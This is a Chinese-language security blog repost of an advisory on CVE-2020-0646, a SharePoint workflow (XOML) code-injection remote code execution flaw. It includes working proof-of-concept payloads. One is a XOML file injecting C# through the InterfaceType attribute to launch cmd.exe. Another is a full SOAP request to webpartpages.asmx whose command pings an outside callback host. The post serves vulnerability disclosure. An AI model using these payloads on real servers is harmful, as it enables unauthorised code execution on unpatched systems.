CVE-2020-0646 SharePoint RCE - POC

admin 2022年12月10日20:42:12评论37 views字数 3506阅读11分41秒阅读模式

工作流中的代码注入导致SharePoint RCE (CVE-2020-0646)



CVE-2020-0646 SharePoint RCE - POC



说明

2019年11月向微软报告了SharePoint Online中通过工作流代码注入的远程代码执行问题,该问题在在线平台上立即得到了解决。然而,主要问题已于2020年1月在.NET框架中进行了修补。因此,没有2020年1月.NET补丁的SharePoint On-Premise版本仍然受到影响。


需要注意的是,当IIS支持.XOML扩展名时,这个问题也可能被滥用于文件上传攻击。


虽然这个漏洞的影响与之前发现的以下缺陷相同,因为它们都影响同一个模块,但它使用了不同的技术,而且它不是绕过已实施的修复程序。


https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/

https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-microsoft-xoml-workflows-protection-mechanisms-using-deserialisation-of-untrusted-data/



CVE-2020-0646分析


在编译XOML格式文件时,System.Workflow.Activities命名空间中的一些参数可能被滥用,在SharePoint服务器上运行任意代码。这个问题还绕过了Workflow编译器的nocode选项,因为它仍然可以执行任意代码。


以下XOML文件显示了使用CallExternalMethodActivity类时的一个例子。


<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">  <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' /></SequentialWorkflowActivity>


InterfaceType属性的值在编译过程中被注入到生成的临时C#文件中:


 private void InitializeComponent()    {        this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);          }


因此,可以从函数中逃逸出运行代码。需要注意的是,其他字符串类型属性(如上例中的MethodName)都被正确验证或转义,而InterfaceType属性受到影响。


CodeActivity类的ExecuteCode参数也同样受到影响,但它在SharePoint Online版本上没有被授权,只能在On-Premise版本上工作。其他活动也可能被滥用。


以下HTTP请求可用于在SharePoint Online上执行代码为例:


POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1Date: Tue, 29 Oct 2019 14:26:21 GMTMIME-Version: 1.0Accept: */*SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjectsUser-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)Host: [REDACTED].sharepoint.comAccept-Language: en-us, en;q=0.1Accept: auth/sicilyX-FORMS_BASED_AUTH_ACCEPTED: TContent-Type: text/xml; charset=utf-8X-Vermeer-Content-Type: text/xml; charset=utf-8Accept-encoding: gzip, deflateConnection: Keep-AlivePragma: no-cacheContent-Length: 1031Cookie: [REDACTED]
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow"> <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>

]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>


CVE-2020-0646 SharePoint RCE - POC


结果,DNS名称被解析:


CVE-2020-0646 SharePoint RCE - POC


On-Premise版本也可以使用上述请求进行利用。


应用 CVE-2020-0646 补丁后,会检查工作流中的所有 XML 元素和属性,以确保它们只包含有限数量的允许字符。因此,当使用所选的nocode选项时,不再可能在默认配置中向生成的C#代码中注入任意代码。


参考文献:

https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/?fbclid=IwAR0b4QZxdQKVYN-ES62rdt9yN5MMzfgpK7DkdkbIq44Flm-ODiuqzeIglUQ


本文始发于微信公众号(Khan安全攻防实验室):CVE-2020-0646 SharePoint RCE - POC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月10日20:42:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-0646 SharePoint RCE - POChttp://cn-sec.com/archives/535166.html

发表评论

匿名网友 填写信息